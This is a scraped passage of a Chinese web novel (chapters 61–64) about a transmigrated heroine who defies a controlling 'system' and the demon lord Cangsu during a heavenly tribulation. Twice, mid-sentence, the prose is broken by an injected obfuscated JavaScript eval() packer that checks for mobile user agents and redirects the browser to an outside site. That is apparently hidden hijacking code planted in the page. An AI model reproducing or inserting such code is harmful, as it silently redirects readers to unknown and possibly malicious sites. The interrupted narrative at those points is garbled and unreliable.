黎落郑重点头,她看着他垂下的发梢,像是下定了什么决心似的,缓缓闭上双眼。 她不能坐以待毙。 她必须提前下手。 61. 第 61 章 沧宿倾尽魔族之力重新布置杀阵。 魔气遮天蔽日,染黑了人族边界的天空,被仙门法阵抵在人族边界,随时都会突破这道脆弱的屏障。 黎落抛下段迟意,一个人回了两河镇。 她从这里离开的时候是个深夜,周围的一切都像是笼罩在谜团里,看不清前路。 但那时的她毫无办法,只能踩着亲朋的鲜血和密林中浓重的雾气,将她来到这个世界以后最在乎的东西和人全都抛在身后。 头也不回地跑出两河镇,跑出系统所说的剧情。 而现在,她主动回到了这里。 房屋已被尘土遮盖,断壁残垣看不出原本的形状。地面满是黄沙,将一切过往掩埋,甚至无法分清哪里是她曾经的家。 她踩着沙土走了许久,最后凭借着记忆停在一个树桩前。 伸手将上面的沙土擦去,层叠的树轮露出。 十六圈。 她虽没有这段记忆,却在父母的残魂中看过,他们曾在自己的女儿出生不久后亲手种下这棵树,愿木长青,愿女长岁。 而如今,树木已折,旧人不再,只她一个穿书的孤魂在此,结局已定,死期将至。 黎落将蝴蝶坠子扯出来,也不管系统有没有在听,只道: “我决定听你的,走剧情。” 坠子亮起,系统的声音听着有些诧异: “什么?” 黎落道: “我后来想了想,你说得对,人是不可以和天命争的,催动混沌之力对我而言如同是火中取粟,未必管用,却伤人伤己。” 她眼里带着怅惘,回头看了一眼空荡荡的两河镇旧址。 “我只是个普通人,比起这里,或许现代才是最适合我的地方。” 系统疑惑:“可你不是说……” “是,我是说过,我不相信你。” 黎落打断它的问题,愤愤道: “可是我还能怎么办呢?我已经害死了这么多人,现在连段迟意都被我刺伤,我生在和平年代,长在平安之地,如何才能心安理得用人界无数百姓的命去交换,换我留在这里呢?” 她垂下了头,看着自己的双手,面色戚戚,强忍着不让泪水落下。 “因为我,已经死了太多人了,我不想让段迟意和人族也变成这样……” “我累了,就让我像剧情说的那样,死在男主成为魔神的前夕吧。” 系统还有最后一丝疑虑: “你肯助沧宿成魔神?” 黎落垂眸道: “魔尊、男主,都是不可杀死的,天命如此,我又何必再苦苦挣扎呢?” “只要段迟意活着,人族安全,我就心满意足了。” 她看向系统,神色郑重: “我虽是穿越者,却亦是人族一员,愿以性命,换人族安宁。” 或许是她愿意为救段迟意入魔的行为打动了系统,“同为人族”的理由也十分合理。 系统最终相信了黎落,并许诺: 只要段迟意不来插手,她能按照剧情走完结局,段迟意的命运就会发生更改,不会再死于魔尊手中。 沧宿取得混沌之力渡过雷劫,便不会再开杀阵,人族也会安全。 * 云苍阁。 面对穗穗的质问,段迟意只保持沉默。 黎落说她要独自去处理一些问题,不能有人跟着,叫他回云苍阁等她。 他知道黎落一直有心事,也知道她因为那天在幻觉中伤到他而感到痛苦,更知道所谓的“系统”和“剧情”是她始终无法安心的根源。 可他被真相排除在外,只要她想隐瞒,他就永远都不知道如何才能帮她。 段迟意等了三日,始终没有等到黎落的消息。 连穗穗也从一开始的充满期待,到现在对他怒目而视。 “为什么阁主出去救你,你活着回来,阁主反而不见了?” “她到底还会不会回来?” 她将修墙的工具砸到地上,胡六娘本就怵段迟意,如今被吓了一跳便当做是个机会,索性也不再帮忙,夹着尾巴跑了。 段迟意本想说:“她一定会回来,她答应过我。” 但莫名的,一股更为强烈的念头取代了这份坚定。 黎落想要的,究竟是什么? 他真的不知道吗? 段迟意为此心神不安。 但他仍抱着最后一份骐骥,沉默着接替了胡六娘的工作,继续修缮被丹炉炸毁的房屋。 他动作很是干练,比穗穗和胡六娘两个人加起来的速度还快,像是要从中寻得一丝安宁似的。 等了半天没等到回答,穗穗又憋屈又焦虑,“哼”地一声,也转过头继续干活。 两人仿佛在沉默中达成了默契:再给黎落一点时间,起码要先修好这间屋子。 段迟意本想控制自己不要去想黎落。 他应该相信她,相信她会回来,相信她不会把自己置于危险的境地,相信她说的所谓的“剧情”不会伤害她。 可惜他知道,这屋子是为了炼出坠雁平沙才会炸毁,越看到这些东西,反而越发容易想到黎落的神情。 她眼里的执拗的光,绝不是为了一件普通的小事。 她避而不谈的计划,究竟是什么呢? 段迟意按在墙上的手一顿。 穗穗敏锐地看过来,却见他转身去了黎落的房间。 她疑惑拧眉,又因为对方熟门熟路地开门关门姿势而觉得生气,索性不再管他,继续的面前的墙较劲。 段迟意在黎落屋子里转了一圈,毫无所获。 这里的东西大部分都是他添置的,黎落将夜明珠摆得到处都是,许多随意散落在地面角落里,他做的灯反而好端端摆在桌子正中央。 段迟意将灯拿了起来,抬手摸了摸灯罩,星星形状的刻痕光滑平整,夜明珠的光透过刻痕,落在他指尖。 他做这盏灯时,还不知道它会被黎落这样喜欢,整日都要放在身边。 段迟意不禁勾起嘴角。 他的目光又落到了一旁的书上,“美男计”三个字被人用笔圈了起来,另附四个大字:愿者上钩。 他于是一下子笑了起来,仿佛看到黎落本人正站在书旁,边念叨着“副阁主实乃居心叵测”,边拉着他袖子偷偷得意地笑。 随着他身形微动,夜明珠的光在地上一闪而过,隐约可见一些不平整的凹痕嵌在门口的地面上。 段迟意走上前,蹲下,以指尖描摹地面凹痕。 痕迹尚新,看笔触,应当是匕首之类的利刃所刻。 似乎是两行字。 某个瞬间他忽然想到,在他从仙门回来的那天晚上,黎落独自一人坐在房门背后,隐约有尖锐的声响发出,但很快便被极渊中的轰鸣声遮盖。 那日他以“珩亦”的身份出现在云苍城,当晚黎落便独自一人在黑暗中刻下了这样两行字。 “宁死,不被剧情摆弄。” “宁死,不叫他们得逞。” 字迹深入地面,足见刻下这行字时她的心境。 段迟意的双眸蓦地冷了下去。 * 魔宫。 “你到底想干什么——?!” 沧宿的怒喝声因黎落一把刀捅进胸口而告结。 他支支吾吾,张口却只能吐血。 黎落将他的胳膊提起来,用力压在他自己嘴上,将最后那点气音也盖了下去。 沧宿对她怒目而视,却只能喷了自己一袖子的血,连血沫都沾不到她身上。 闻声而来的魔族侍卫只能看见两人“依偎”在一起的身影,思及魔尊素日杀人不眨眼的做派,又匆匆退了出去。 黎落这才把手从沧宿脸上移开。 他的袖口沾满了自己的血,按在自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604267|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尚在冒血的胸口,魔气汹涌,双目通红,魔印自额头显出,明显是气急了。 但他打不过黎落。 该死的,他斗不过混沌之力,更斗不过成魔且催动了混沌之力的黎落。 魔尊虽不会死,却也被黎落一刀刀捅得生不如死。 三日前,黎落孤身一人来到魔界,他还当自己终于有了取回混沌之力的机会。 谁知,黎落竟然成魔了。 他伤重太甚,根本打不过她,反被其困死在了魔宫大殿的座椅上。 不知道为什么,所有魔族都对他喜欢黎落这件事持默认态度,简直像是疯了一样,只要黎落和他假装做出亲近姿态,其他人都会“有眼色”地退下。 他确信黎落知道原因,因为她简直有恃无恐般留在这里,借着他的名义直接开始发号施令。 “不许开杀阵?你以为你是谁?你以为阻拦本君开杀阵,就能和你那小情郎双宿双飞吗?” 黎落抬起一根手指竖在自己脸前: “嘘。” 她神色平和,甚至带着点温柔可亲的笑意,落在他脸上的目光却毫无情绪,像带了层天真烂漫的面具,本人却在其后用冷漠的神态思索着从哪里下手杀戮。 黎落声音放得很轻,在他面前低声道: “别被它听到了。” “谁?” 沧宿被她这诡异古怪的语气神情震住,一时竟也放低了声音: “你说谁?” 黎落笑了一下: “它是谁不重要,重要的是,若你放弃开启杀阵,我或许可以助你渡过这场雷劫。” 她放轻声音: “雷劫将至,纵使你开杀阵炼化整个人族,也未必活得下去,没了混沌之力的你,有什么资本和天道对抗呢?” “你——!” 沧宿勃然大怒。 然而很快又是“噗嗤”一声,黎落一刀捅进了他的嗓子,阻止了他接下来的话。 甚至黎落还及时用袖子挡在自己脸前,避免被沧宿的血溅上。 沧宿这次彻底发不出声音,被混沌之力压在座椅上,只能抬起两只手无力地按在自己嗓子上,企图用魔气修复自己的伤口。 黎落放下袖子,看着他苦苦挣扎的模样,眼神带着冷意,不耐烦斥道: “我不是说了吗,小声点,别被它听见了。” 沧宿愤恨地看着她,颇有些死不瞑目的架势。 黎落神色不变,看了片刻,又道: “其实你不必如此惧怕雷劫,毕竟,你可是男主啊,纵使没了你,也许还会有一个和你很像的人,用着你的身份和名字,继续在这世上耀武扬威……” 沧宿为她话里的意思露出惊恐的神情,但脖颈上刀子仍被混沌之力压着,他拔不出来,魔气便无法修复那一块躯体的缺口。 他只能听着黎落用欣喜笃定的语气告诉他: “我们应当按照剧情,排除万难,幸福地生活在一起。” 她一字一句念出剧情: “男主为天命所累,忧心如焚,却不忍心让女主为他难过。女主心知肚明,却因为知道男主的良苦用心,只能暗自垂泪。” “两人互相隐瞒悲伤,笑颜相对,直到最后时刻,命运来临,生离死别。” 她看向沧宿,忽然抬手按住他的手,同样也沾了自己一手的血,用力压下,刀刃在穿透他脖颈的瞬间化作雾气消散,鲜血瞬间从他身下的座椅中流出。 黎落的声音变得悲泣,仿佛是在真情实感地伤心: “尊主,纵使是雷劫,我也会陪着你的。” “无论混沌之力,在你身上,还是在我身上,我们都会一切面对这些风雨。” 她眼睛却弯了起来,浓重的黑遮盖住瞳孔,不透过一丝光亮: “毕竟,我是你的女主啊,我一定、一定,会按照剧情、陪着男主——走、到、结、局。” 62. 第 62 章 魔尊忽然下令重开杀阵,魔族大军集结,魔气更多地凝聚在人界边缘,只待魔尊一声令下,便可席卷人族。 仙门不知沧宿雷劫在即,对此十分疑虑。 然此事到底事关重大,他们一时片刻也不敢轻举妄动,只能派弟子列阵守在魔界边缘,日夜施法,将魔气拦在人界之外。 大战一触即发之时,忽有一人持剑而来,连闯仙门、魔族数道屏障,一路杀进魔界魔宫。 冰寒之气裹挟而来,长剑墨色附霜,一路斩落魔族无数,最终劈在了魔宫大殿之上。 黎落被段迟意的架势惊到,默默将放在沧宿胸口的手拿了下来。 沧宿胸口多了个血窟窿,正在汩汩朝外喷血。 黎落收手,他才终于有机会用魔气为自己疗伤。 段迟意的目光自他苍白泛青的脸上一扫而过,再次锁在黎落身上。 一片寂静。 黎落:“……” 她莫名感觉有点心慌,总觉得段迟意此刻的模样活像是来讨债的。 但是他们不是说好了,分头行动,等她……回来的吗? 难道他知道自己骗他了? 黎落在心中思索。 雷劫剧情在即,系统好不容易才相信了她的话,没有继续搞破坏,她不能让它发现端倪。 她冲段迟意使眼色,希望他赶紧离开。 段迟意像是没看懂她的眼神一样,闻言,提剑一步步朝她走来,挥剑指向沧宿。 他一路厮杀而来,剑尖尚有血珠落下,此刻面无表情地提剑上前,灵力剑气如数九寒风,呼啸凌厉。 “住手!” 黎落下意识挡在沧宿身前。 好不容易将沧宿控制在手中,眼看就能等到大结局,决不能在此时再出纰漏。 她直视着段迟意的剑。 这举动倒是让系统觉得放心。 它先前总疑心黎落和段迟意还有后手,但现在看来,黎落投奔魔尊的行为段迟意确实不知情,她二人并没有合作。 系统于是道: “只怕宿主你有心救他,他却和其他的配角一样,无法控制剧情的安排,依然要追来杀你,死路一条……” “你闭嘴!” 黎落打断它的话。 她看向段迟意: “沧宿是魔尊,依托天地魔气而生,你只能伤他,杀不了他。” 言下之意,此时动手只是徒劳无功。 有些话她不能直说,因为会被系统察觉,所以只能隐晦地暗示段迟意不要插手。 但段迟意却因为她的动作而神色更冷。 他显然明白她的意思,但却依然不肯离开。 他从未想过与黎落刀剑相向,此刻更不会因为沧宿而对她动手。 剑尖于半空中划出一道冷气,指向地面。 “我今天来,是想问你一个问题。” 黎落刚松了一口气,便听得他问道: “你给我讲的那个故事的结局,女主还活着吗?” 黎落一怔。 段迟意已经从她这一瞬间毫不掩饰的怔愣中看懂了。 他微微摇了摇头,声音带着疲惫: “黎落,我不想对你动手,你自己过来。” 黎落忍不住上前一步: “段迟意……” 系统立马提醒她道: “宿主,你可要想好了,结局在即,此间诸事马上便可终结,如果再生波折,死的可就未必是一两个人了。” 黎落的动作于是停住。 顶着段迟意失望的目光,她逼自己开口: “杀阵若开,人族必死伤无数,我不能眼睁睁看着不幸发生。” 段迟意道: “纵使不能彻底铲除魔尊,我也可以一生守在两族边界,一生守护人族,一生守护你。” 听见他的话,黎落不禁皱眉: “我不许!你已经在寒冰域里守了两百年,凭什么要把自己的一生都框在这里呢?” “那你和我回去,我们再想其他办法。” 他朝她伸出一只手,想要拉住她的手。 黎落猛地将手背在身后。 “没有其他办法了!” 她看着他,眼里全是怒意: “已经没有时间了。你来的时候应该已经看到了,仙门修士再多,也不可能完全挡住魔族大军,更何况你已经叛出仙门,你——” 便在她说话的同时,沧宿忽然找到机会。 他凝聚魔气猛得攻向黎落身后。 比他速度更快的,混沌之力与坠雁平沙一齐撞了上去。 沧宿被他二人毫不留手的一击打得直接飞了出去,直直撞到魔宫最后的墙上。 段迟意便在此时出现在黎落面前,一把拉住她的手腕: “跟我走。” “不行。” 她试图挣脱他: “你也看到了,沧宿根本不是我的对手,我有不得不留下的理由。” “你们一个也别想走!” 沧宿满口鲜血,从地上爬起来,虽狼狈至极,却蓦地哈哈大笑起来。 “终于,终于叫本尊等到了这一刻……” 他的目光猛得看向黎落和段迟意两人的方向,死死盯着黎落: “黎落!这几日本尊忍辱负重,就是为了此时!” 他身上的魔气骤然暴涨,远胜过去。 段迟意下意识将黎落护到身后。 黎落却忽然感觉心口一滞,蝴蝶坠子从她领口飞出,扯着链子朝沧宿的方向飞去,将她的脖子勒得一痛,瞬间溢出血丝。 她跟着这股冲力朝前摔去,被段迟意及时接住。 “黎落……” 他扶住她双肩,声音焦急:“你怎么了?” 黎落没有说话,她攥住蝴蝶坠子,听见系统道: “抱歉,宿主,我必须保证剧情顺利完成,段迟意的命,实在太过无足轻重。” 她顾不得隐藏系统的存在,低头看向手中坠子,出声质问道: “你骗我?” 沧宿见状,面带嘲弄,得意道: “也是你太过愚蠢,竟妄想保护人族。你以为你是什么东西?一个魔,一个孤魂野鬼,你竟想着保护人族?” 他朝黎落走来,手中生出一柄一人高的长刀: “有系统相助,本尊先杀你,再杀段迟意,便可成为此间魔神!” 他话音落,系统猛地拽住黎落心脉,她一下子瘫倒在段迟意怀中。 段迟意一手护住黎落,一手握紧剑柄,剑刃挡上沧宿的刀。 雷劫在魔宫上空凝聚,乌云盖过了魔气,电闪雷鸣在其中呼啸翻滚,比任何时候都要可怖。 守在人界的修士见状,纷纷露出诧异神色。 而藏匿于魔气中的魔族察觉到这为除魔而来的雷劫中的杀意,恐惧和慌乱之下,不等魔尊下令,便四散冲出,不要命般扑向最靠前的仙门修士。 修士们来不及反应,便被骤然压下的魔族冲散阵法。 无数魔族张狂着、惊叫着向人界奔去,一些被修士斩落,一些已经冲向人界和鬼界范围。 三界大乱。 * 魔尊成神的雷劫依照剧情出现,和原书剧情一样,黎落、段迟意和沧宿三人皆在当场。 混沌之力从黎落指尖冒出,却因为她无法凝神调动而涣散不成形,只能勉力抵抗系统对她心脉的威胁。 她不是第一次遇见被系统逼至半死的情况,哪怕是现在呼吸不畅,也没有惊慌到无法思考。 她之前一直好奇,系统明明可以威胁她的性命,但却始终没有动手。 现在看来,就是为了让她放松警惕,诱骗她主动走到这里,直到剧情发生的此刻再给她致命一击。 场景、人物到齐,系统期待已久的大结局终于快要实现了。 它自以为大局已定,对黎落说话便也没有了什么顾忌,甚至那施舍一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609991|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的尊敬姿态也再次冒了出来: “宿主,您输了。” 黎落道:“我没想到,你会和沧宿合作。你不是说,男主言行是你无法预测的吗?” 她缓了缓,继续道: “还是说,从封樾死的那一刻开始,这里的所有人都只是你的棋子,你将沧宿放在男主的位置上,他便成了你的工具。” 系统没有回答她的问题,而是用怜悯的语气对她说: “我不是很早就提醒过宿主了吗?这里的人都只是书本配角,您为什么从始至终都毫无长进,要关心一群配角的死活呢?” 黎落冷哼了一声: “你这样无情的机器,又怎么会懂人心中所想?” 这话显然刺痛了系统。 它玩弄角色,布排剧情,却屡屡被黎落打破,到如今不得不违规和其他角色合作才能促成结局,这简直是对它的羞辱。 “宿主又何必再抵抗呢?您的这具身体注定死在今日,不若此刻放弃,或许还有回到现代的机会。” 为了证明它已彻底拿捏黎落,系统又补充了一句: “你一开始,不就是生气剧情杀了你父母吗?回了现代,你大可继续关心你在那里的父母。” 听见这话,黎落忍不住笑了笑。 她用轻飘飘的语气再次戳了系统的肺管子: “别装了,你根本不了解我,越努力越像小丑。” 系统怒,银链收缩,连同她的脖子一起被扼住。 黎落闷哼一声,眼前因为窒息而漫上生理性泪水,模糊了她的视线。 但她仍努力看向挡在她身前的段迟意的身影,神色有些迷茫: “只有他懂我,所以才会来找我。” “段迟意打不过沧宿的,原书的设定不可被更改,只有破妄剑有机会。但现在,珩亦这个身份消失了,破妄剑也没了。” 系统只当她还抱有“斩杀魔尊”的希望,语气中忍不住带上了得意: “因你而折。” “宿主啊宿主,该说您是厉害,还是愚蠢呢?闹到最后,把原书中唯一有可能杀死魔尊的人和剑都毁了。现如今,还有谁能杀得了魔尊呢?” 它期待看到黎落“悔不当初”的神情。 但她没有。 反而弯了弯眼睛,重复了一遍它的话: “是啊,现如今——还有谁能杀得了魔尊呢?” 系统下意识感觉不对。 以它和黎落这么多次交手的经验来看,以往每次她用这样轻柔无辜的语气和神态说话时,总会发生一些让它和剧情招架不住的意外。 “原本我想着,若是段迟意不来,我只试上一试,生死不论,赢了稳赚,输了不亏。” 她将蝴蝶坠子攥在掌心,撑着地站起来。 段迟意还在替她挡沧宿和雷劫的攻击。 黎落看向他,继续道: “但段迟意还是来了,我便只能奋力一搏!” “纵使不赢,也绝不能输。” 话音落,沧宿周身忽然有了变化。 在他的魔气之上,一股更强更阴森的力量弥漫开来。 他为这既熟悉又陌生的气息怔住。 混沌之力…… 黎落不知何时将混沌之力切下一部分,放进了他体内! 沧宿一下子慌了神,骤然想起过去几日,那一柄柄刺进他体内又消失不见的利刃…… 竟是如此! 因着系统的提示,他以为黎落只想借剧情之机暗中羞辱他,却不料,她从一开始就想瞒天过海,混淆两人的气息,好在天雷之中,拉着他同归于尽! 两人因为身上魔气和混沌之力,一同被天雷锁定。 黎落在天雷中央缓缓抬头,周身魔气悄然暴涨。 她语气闲适,一如往日: “这气运之子、魔族之尊,被剧情优待保护宠爱的角色,我也想当一当。” 话音落,雷劫瞬间扩大成双倍。 63. 第 63 章 黎落坦然地看着这被她激怒、誓要将两个欲与天争的魔头劈成渣滓的天雷。 在系统的惊叫和沧宿的惶恐的对比下,她甚至显得太过冷漠。 她直视着天际雷云,神色冷漠,分明是来自异世的孤魂,此刻却比魔尊更像一个不信天命的魔! 凭什么只有她战战兢兢,系统和所谓的“气运之子”却能踩着她的恐惧和不幸得偿所愿。 现在,也该轮到他们害怕了。 黎落的目光从系统和沧宿身上滑过,莞尔一笑。 天道审判之下,纵使你们躲于剧情后洋洋自得,视人命如棋子随时可抛,此刻也得臣服! 这是结局,是天命,是剧情也无法阻拦的最终劫数。 而她,愿以死相助! 仿佛是老天听到了她这狂妄厥词,下一刻,双倍雷劫轰然砸下。 段迟意抬臂将她护住的同时,四周魔宫瞬间湮灭成灰。 人族边界流窜的魔族几乎立时便被这道撼天震地的天雷绞杀殆尽。 魔界上空雷声轰鸣不休,闪电交错,似两银蛇盘旋于魔族上空,见之胆寒。 众修士为这一幕所震撼,有人忍不住惊呼: “怎么会这样——竟然有两个魔要历劫!” “怎么会有两个魔?!不是只有沧宿吗?” “到底是谁,敢和沧宿抢魔神机缘?!” 又一道天雷砸下,比方才更为剧烈,伴随着滔天雨幕,霎时间将所有嘈杂的声音悉数掩盖。 这道天雷甚至带着仙魔不分的架势,纵使是修士,也不得不立即用法器和灵力护体,以免被这样声势浩大的天道怒气误伤。 但他们仍在心中困惑,到底是谁,能引来比沧宿还重的天罚。 看这雷劫的架势,只怕是天道盛怒,哪怕是将此地诸人悉数剿灭,也要将那引雷历劫之人除去。 雷劫中心,段迟意挡在黎落身前。 坠雁平沙剑刃上带着硝烟,若非是天地造物,只怕早在方才那道天雷中被折断了。 可惜即便是玄铁所铸,也无法将段迟意和黎落全然护住。 剑柄上鲛珠已经出现了裂痕,蔚蓝水波如大海潮生,顺着裂痕缺口朝外散落,中央的红色游鱼颤抖不休,似是察觉到了此刻的危机,却无能为力。 风浪中心的两人却始终平静。 段迟意与黎落对视。 他此刻已经知道了黎落的打算,无论是责怪还是痛心全都来不及,眸光颤抖,最终只说了句: “为什么?” 黎落道: “我怕一道雷劈不死他,索性多引几道,为此世间除邪魔,也除桎梏。” 她语气依然十分轻松,好像此刻不是在雷劫之中生死边缘,而是在闲谈玩笑。 段迟意眼中毫无笑意,他的声音冷了几分,像是在恼她始终不肯珍惜自己。 他望着她的眼睛,一眨不眨,连呼吸都仿佛在痛,又问了一遍: “为什么?!” 黎落于是沉默了。 她眼眶随着他的话变得湿润,看着段迟意的目光也变得有些伤痛: “你不是知道吗?” “你知道我一直在害怕,你知道我从来都不想被剧情和系统摆弄,什么人族什么配角,我通通都可以不在乎,但我绝不许他们把我当工具摆布——” 段迟意猛地伸手,将她抱进自己怀里。 他的力气是那样的大,大得像是要把她骨头勒断,把她彻底压进自己的血肉中去。 但他的手臂却在颤抖,胸腔中心跳是那样湍急,顺着接触的皮肤传到黎落这边,让她也开始跟着难过。 “段迟意,我是真的想活着,和你一起活着。” “我知道。” 他闭上眼睛,将所有的痛苦和悲伤悉数压下。 “我知道。” 他微微松开她几分,抬手,指尖勾起她颈上银链,指腹瞬间便被刮出一道血线。 血珠顺着银链砸下,将黎落的皮肤也染上血色,仿佛一朵凄美的血色花朵。 冰凉的手穿过银丝细链扣在她后颈上,逼得她不得不前倾,白玉蝴蝶坠子摇摇晃晃悬在半空,两人的呼吸纠缠在一起。 而后他蓦地一手拽住了坠着的蝴蝶,猛得使力,银丝瞬间被拉至绷直,却没伤到黎落分毫,而是在段迟意挡在她后颈的手背上勒出深可见骨的血痕。 “你——!” 黎落一惊,猛得抬眼看向他,却只能看到他双眸中盛满的爱意。 她所有的话都堵在了喉咙里。 又一道天雷砸下,沧宿终于抵挡不住,发出一声凄厉不甘的怒吼。 “本尊才是魔界至尊,本尊才是真正的魔神!本尊是这个世界不可被剿灭的气运之子!” 系统的声音也在黎落耳边炸响: “你不可能活下去的!以孤魂之身,抢此间机缘,天道不会容你——!” 它的声音随着细微的一声断裂声,彻底从黎落脑海中消失。 黎落一瞬间睁大了眼睛。 ——银链断了。 这自她穿越到这里便从未被取下的银链,这坠着蝴蝶坠子、藏着系统、始终威胁着她性命和行动的链子,断了。 白玉蝴蝶在链子断裂的瞬间便被雷劫压碎,皎白粉末散落在空中,又被雨滴砸至地面,直到被积水冲散消失彻底不见。 ——系统消失了。 雨滴砸在地上的声音变得清脆悦耳,始终盘旋在她头顶的雷云也不再凶悍可怖。 她从未感觉如此轻松,好像这躯体为她所控,生命为她所有。 哪怕下一刻便会死于雷劫之中,她也不会觉得遗憾。 因为她在这一刻真正掌控了自己命运。 纵使死,也是她的选择。 “段迟意,你已经为我做的够多了,你……” 笑容从她眼中溢出,泪水混着雨水一起顺着她的脸颊滑落,又在半途被段迟意擦去。 他的容颜在雨中变得更加昳丽,一双黑眸似冷玉无瑕,完完整整映出她的模样。 “我不会抛下你一个人的。” “所以,你也不许放弃你自己。” 他双手托起黎落的脸,让她的眸子与他对视。 “黎落,既然赌了,那就尽全力,不要输。” 电闪雷鸣中央,大雨瓢泼之中,他的声音清冷、恳切,穿透雨幕,如珠击玉,一字字砸在黎落心头。 她的眼神一点点变得坚定。 而后,郑重点头。 混沌之力成伞,罩在两人头顶。 她的五官一点点变成浓重的色彩,魔相尽显,艳丽绝伦,如同绝唱。 最后一道天雷携万钧之力,砸向她和段迟意。 在生死结局到来之前,她听见段迟意问她: “所以,故事的最后,女主会活下来吗?” 会的。 黎落在心里说。 她比这里的任何人,都想活下去。 白光在这一瞬间将她完全笼罩。 段迟意的身影从她面前消失。 剧痛只在一瞬,旋即便是一片空茫。 她几乎要以为自己已经死了。 但冰冷的雪却扑进了她的眼眶,她被这突如其来的寒气激得一颤,发现瓢泼的大雨和雷劫已经悉数消失不见,天上正纷纷扬扬飘着雪花。 死人也会感到冷吗? 黎落有些茫然,忍不住环顾四周。 对段迟意生死的担忧,对自己生死的怀疑,脱离系统掌控的欣喜……所有所有浓烈的情绪,都在这一瞬间变得寡淡。 她看到了一望无际的雪地。 白雪皑皑,无边无际。 入目可即,除了这至纯至净的白,什么颜色都没有。 她朝着一个方向迈出几步,蓬松的雪被她踩出“吱呀吱呀”声,这便成了天地间唯一的声音。 身后的脚印也很快就被新雪覆盖,一切都如同永恒一般,不会因为她的行动而产生丝毫变化。 人在这样的环境中很快就会失去对时间和空间的感知,像是这里的无数片相似的雪花一样,在寂静无声悄然落地,逐渐忘记自己的来路和归途。 黎落昏昏沉沉地走走停停,到最后,几乎已经快忘了自己为什么会出现在这里。 就在她打算找个地方就地躺下再也不起来的时候,视野中忽然出现了一个人。 她努力睁大眼睛辨认,以确保不是自己眼花产生了幻觉。 真的是个人! 一个半大 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黎落一开始只是轻轻扫雪,少年始终一动不动。 渐渐的,她的动作也开始变得狂放,到最后甚至直接提起对方的胳膊,用手掌作铲,顺着他肩膀将一大片结成冰的雪一起推到了地上。 积雪砸到地上,发出一声沉闷的声音,掀起一阵纷纷扬扬的雪雾。 黎落莫名从这一幕中感到了几分乐趣。 她忍不住自言自语: “虽然这儿只有一个不会动的人,但是把他从雪堆里挖出来,竟然还挺有成就感的。” 她兀自点点头,自己给自己鼓劲,在很长一段时间里,持之以恒地将少年身上的雪推落到地上。 后来少年身边积的雪越来越多,已经快比她还要高了,黎落只得托着他双臂,将人换个地方继续打坐。 她无聊时便同身边这人说话。 从穿越前考试题的变态程度,到穿越后发生的一系列事件,以及她是如何骗过系统,抢走了魔尊的机缘……所有的事都一股脑倒了出来。 然后她忽然又想到了段迟意。 “他其实一直在帮我。” “不知道为什么,他好像从一开始就对我很好,就好像我们早就认识一样。” “一开始我还不相信,只想利用他。谁知道他竟然真的不想伤害我……” 黎落神色有些怅惘: “不知道我还能不能活着回去啊,如果就这么死了,他又要觉得我在骗他了……” 没有人回答她。 她背对着正在打坐的少年,看着一望无际的雪地,十分委屈地说了一句: “段迟意,你能不能告诉我,我到底怎么才能从这里出去啊……” 身后似乎传来什么动静。 她早在这些日子的疑神疑鬼里变得淡定无比,连回头看一眼都懒得,继续自言自语道: “我真的好想你啊,段迟意,你都不知道这儿有多冷,你——” 她肩膀忽然一沉,一只苍白的手搭在她肩头,热意以灵力为媒介,源源不断从对方身上传来,驱散了她周身的严寒。 黎落整个人一僵。 她莫名感觉到一股熟悉的气息,却一时不敢回头。 “段迟意……” “我想起来了,我曾经,也叫这个名字。” 纷纷扬扬飘了不知多少年的雪花在这一瞬间停滞。 她猛地回头,面前却像是笼了一层白纱,她无论如何也看不清面前这少年的容貌。 下一刻,天地被耀眼的白光笼罩,空茫的世界在她周围寸寸碎裂。 黎落便在这无穷无尽的空茫中,仰面倒了下去。 然而,她没有摔进冰冷潮湿的雪地,而是落到了一个温暖干燥的怀抱。 指尖仿佛还残留着百年不化的积雪严寒,头顶却已是雨过天晴的澄澈天空。 熟悉的冷香将她包裹着,她终于看清了那双漆黑的双眸,那个她想念了很久的人。 他身上似乎还带着雷劫后的肃杀气息,眉眼间却全是笑意。 “黎落,我们赢了。” “段迟意,我好想你。” 64. 第 64 章 “仙门那个叛逃的珩亦仙君小时候就特别厉害了,是真的,我还抱过他呢……” “怎么抱的不重要,重要的是,我跟他一块在雪地里蹲了五六七八九十年了,现在忽然冒出来的这个是真是假,我一眼就能看出来!” “当然是真的了,一人一剑屠了秦家,还戴着个面具,除了珩亦仙君,这世上还有谁做的到?” 对面那人还有点疑虑: “可是我听说珩亦仙君的破妄剑在叛逃时就已经毁了啊?” 黎落摆手: “你也说了是听说,传言不可信,那可是破妄剑,哪有那么容易毁的。” 她拉了拉斗篷,把自己显得过分年轻的脸盖严实,压低嗓音道: “别怪我没有提醒你,事关性命,宁可信其有,不可信其无啊……” 众人一阵唏嘘,满面愁容地四散而去了。 若珩亦仙君当真打算回归并且屠了魔界,他们这些武力低微的小卒,如何能活得下去? 黎落走在众人后头,斗篷下嘴角勾起,露出个标准的反派笑。 * 这天晚上,段迟意发现她似乎心情很好的样子,时不时用一种欣赏自家白菜的眼神偷看他。 ——看着有点不怀好意。 段迟意装作没发现,默默给她盛饭。 黎落最近多了个毛病,在吃穿上变着法折磨他。 昨日闹着要吃“花椒鱼”,但不许有花椒,也不许出现鱼。 他怀疑黎落是故意的,好让他没空出门,只能整日在云苍阁研究菜谱。 